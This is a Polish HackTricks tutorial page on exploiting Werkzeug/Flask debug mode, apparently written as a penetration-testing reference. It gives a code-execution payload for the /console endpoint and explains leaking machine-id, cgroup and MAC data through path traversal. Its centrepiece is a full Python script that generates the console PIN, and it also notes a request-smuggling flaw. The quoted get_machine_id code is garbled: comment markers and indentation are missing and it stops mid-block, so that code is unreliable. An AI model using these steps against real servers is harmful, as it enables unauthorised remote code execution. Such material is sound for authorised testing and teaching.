Werkzeug / Flask Debug

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Natychmiastowa konfiguracja dostępna do oceny podatności i testów penetracyjnych. Uruchom pełny test penetracyjny z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują od rozpoznania po raportowanie. Nie zastępujemy pentesterów - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębienie się, zdobycie powłok i dobrą zabawę.

Konsola RCE

Jeśli debugowanie jest aktywne, możesz spróbować uzyskać dostęp do /console i zdobyć RCE.

__import__('os').popen('whoami').read();

Istnieje również kilka exploitów w internecie, takich jak ten lub jeden w metasploicie.

Zabezpieczenie PIN - Traversal ścieżki

W niektórych sytuacjach punkt końcowy /console będzie chroniony przez PIN. Jeśli masz podatność na traversal plików, możesz wyciec wszystkie niezbędne informacje do wygenerowania tego PIN-a.

Exploit PIN konsoli Werkzeug

Wymuś stronę błędu debugowania w aplikacji, aby zobaczyć to:

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

Gdy podczas próby dostępu do interfejsu debugowania Werkzeug napotykany jest komunikat dotyczący scenariusza "zablokowanej konsoli", wskazujący na konieczność podania PIN-u w celu odblokowania konsoli. Sugerowane jest wykorzystanie luki w zabezpieczeniach PIN-u poprzez analizę algorytmu generującego PIN w pliku inicjalizacyjnym debugowania Werkzeug (__init__.py). Mechanizm generowania PIN-u można przeanalizować w repozytorium kodu źródłowego Werkzeug, jednak zaleca się pozyskanie rzeczywistego kodu serwera poprzez podatność na wyciek plików z uwagi na potencjalne rozbieżności wersji.

Aby wykorzystać PIN konsoli, potrzebne są dwie grupy zmiennych: probably_public_bits i private_bits:

probably_public_bits

  • username: Odwołuje się do użytkownika, który zainicjował sesję Flask.

  • modname: Zazwyczaj oznaczany jako flask.app.

  • getattr(app, '__name__', getattr(app.__class__, '__name__')): Zazwyczaj rozwiązuje się do Flask.

  • getattr(mod, '__file__', None): Reprezentuje pełną ścieżkę do app.py w katalogu Flask (np. /usr/local/lib/python3.5/dist-packages/flask/app.py). Jeśli app.py nie jest dostępny, spróbuj app.pyc.

private_bits

  • uuid.getnode(): Pobiera adres MAC bieżącej maszyny, a str(uuid.getnode()) przekształca go do formatu dziesiętnego.

  • Aby określić adres MAC serwera, należy zidentyfikować aktywny interfejs sieciowy używany przez aplikację (np. ens3). W przypadku niepewności, wyciek /proc/net/arp pozwoli znaleźć identyfikator urządzenia, a następnie wydobyć adres MAC z /sys/class/net/<identyfikator urządzenia>/address.

  • Konwersję zapisanego w formacie szesnastkowym adresu MAC na dziesiętny można wykonać jak pokazano poniżej:

# Przykładowy adres MAC: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id(): Łączy dane z /etc/machine-id lub /proc/sys/kernel/random/boot_id z pierwszą linią /proc/self/cgroup po ostatnim ukośniku (/).

Kod dla `get_machine_id()`

```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id

if _machine_id is not None: return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""

machine-id is stable across boots, boot_id is not.

for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue

if value: linux += value break

Containers share the same machine id, add some cgroup

information. This is used outside containers too but should be

relatively stable across boots.

try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass

if linux: return linux

On OS X, use ioreg to get the computer's serial number.

try:

</details>

Po zebraniu wszystkich niezbędnych danych, skrypt wykorzystujący exploit może zostać uruchomiony w celu wygenerowania kodu PIN konsoli Werkzeug:

Po zebraniu wszystkich niezbędnych danych, skrypt exploitu może zostać uruchomiony w celu wygenerowania kodu PIN konsoli Werkzeug. Skrypt wykorzystuje zebrane `probably_public_bits` i `private_bits` do stworzenia skrótu, który następnie przechodzi przez dalsze przetwarzanie w celu wygenerowania ostatecznego PIN-u. Poniżej znajduje się kod w języku Python do wykonania tego procesu:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',  # username
'flask.app',  # modname
'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

Ten skrypt generuje PIN poprzez haszowanie połączonych bitów, dodanie określonych soli (cookiesalt i pinsalt) oraz sformatowanie wyniku. Ważne jest, aby faktyczne wartości dla probably_public_bits i private_bits zostały dokładnie pobrane z systemu docelowego, aby zapewnić, że wygenerowany PIN będzie zgodny z oczekiwanym przez konsolę Werkzeug.

Jeśli korzystasz z starej wersji Werkzeug, spróbuj zmienić algorytm haszowania na md5 zamiast sha1.

Znaki Unicode w Werkzeug

Jak zaobserwowano w tym problemie, Werkzeug nie zamyka żądania zawierającego znaki Unicode w nagłówkach. Jak wyjaśniono w tym opisie, może to spowodować podatność na CL.0 Request Smuggling.

Dzieje się tak, ponieważ w Werkzeugu można wysłać pewne znaki Unicode, co sprawi, że serwer się zawiesi. Jednak jeśli połączenie HTTP zostało utworzone z nagłówkiem Connection: keep-alive, treść żądania nie zostanie odczytana, a połączenie pozostanie otwarte, więc treść żądania zostanie potraktowana jako następne żądanie HTTP.

Automatyzacja eksploatacji

Odnośniki

Natychmiastowa konfiguracja do oceny podatności i testów penetracyjnych. Uruchom pełny test penetracyjny z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują rozpoznanie, aż po raportowanie. Nie zastępujemy testerów penetracyjnych - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębienie się głębiej, zdobycie dostępu i dobrą zabawę.

Last updated